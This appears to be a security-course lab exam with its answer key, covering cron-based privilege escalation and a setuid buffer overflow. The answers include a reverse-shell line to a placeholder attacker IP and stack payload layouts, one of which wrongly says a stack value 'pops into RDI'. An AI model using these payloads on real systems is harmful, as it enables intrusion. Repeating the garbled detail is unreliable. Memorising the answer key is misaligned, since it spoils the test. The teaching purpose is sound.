Lab questions 202507

Question 4 - 1x

Objective

Assess the student's ability to identify and exploit vulnerabilities in Unix systems related to privilege escalation via insecure file permissions and cron jobs.

— FROM HERE

——————————————————————————————

Scenario

You have gained initial access to a Linux server through a web application vulnerability and landed a limited shell as the www-data user. During reconnaissance, you discover the presence of a cron job running every minute as root, executing a script located at /opt/backup/rotate.sh. The script has the following permissions:

-rwxrwxrwx 1 root root 409 Feb 10 08:00 /opt/backup/rotate.sh

Inside rotate.sh, you see:

```
#!/bin/bash

tar czf /tmp/backup.tar.gz /var/www/html
```

Questions

a) Without modifying system binaries or relying on known exploits, describe a way to escalate your privileges from www-data to root.

b) Explain why this approach works and what the security misconfiguration is.

c) Propose one system-hardening step that would have prevented this escalation (without focusing on disabling cron).

– TO HERE

——————————————————————————————————

Possible Answers

a) Since the script is world-writable, inject a reverse shell or any malicious command into /opt/backup/rotate.sh. Wait for the cron job to execute it as root.

Example injection: bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

b) The vulnerability is due to world-writable permissions on a root-executed cron script. Any user can overwrite it and have their code executed as root. This violates the principle of least privilege and proper filesystem permission hygiene.

c) Remove world-writable permissions (chmod 700) and restrict editing of scripts run by root to trusted administrators only.

Question 5 - 1.5x

Objective

Evaluate the student’s understanding of advanced exploitation via binary vulnerabilities, including buffer overflows and return-to-libc techniques under realistic security mitigations.

— FROM HERE

———————————————————————————————

Scenario

A stripped Linux binary, compiled with -fno-stack-protector and -no-pie, is installed setuid root. It asks for a username:

```
void get_user() {
  char str[16];
  puts("What is your name?");
  gets(str);
  printf("Hello %s!\n", str);
}
```

The function print_secret() exists but is not called. You have no access to source code or symbols but are allowed to run gdb on a local, non-setuid copy of the binary. ASLR is enabled on the system.

Questions

a) Describe how you could exploit this binary to execute the print_secret() function and gain root privileges.

b) Explain why ASLR does not prevent this specific exploitation.

c) The binary crashes after printing the secret. Explain why and suggest a fix that avoids a segmentation fault but still completes the exploit.

– TO HERE

————————————————————————————————

Possible Answers

a) Perform a buffer overflow to overwrite the return address of get_user() with the address of print_secret(). Since the binary is compiled without PIE, addresses are static and can be discovered locally. Inject 16 bytes to fill str, 8 bytes for the saved rbp, and then the address of print_secret().

b) PIE is disabled, so function addresses are fixed even if ASLR is on. Thus, print_secret() has a known address you can reuse from the local gdb analysis.

c) The crash happens because print_secret() returns to a garbage address (the original return address was overwritten). Fix: append the original return address (or another valid one) after the print_secret() address, or modify the exploit to make print_secret() call exit() at the end.

Note that exit() in libc cannot be called directly as ASLR is on. However, we can return to the PLT stub for exit()

Example (you could get different addresses, ofc):

```
None
[ padding: 16 bytes ]
[ saved RBP    : 8 bytes ]
V saved RIP overwrite V
0x4005d0    <- print_secret
0x400430    <- exit@plt
0x0xxxxxxx  <- “return address” for exit (pops into RDI)
```

If you want to exit with and exit code of 0:

```
None
[ padding ]
[ saved RBP ]
0x4005d0      /* print_secret */
0x400xxx      /* pop rdi; ret in the binary */
0x0           /* sets RDI=0 */
0x400430      /* exit@plt */
```

Note however that `pop rdi; ret` might not be available in a “simple” and short binary.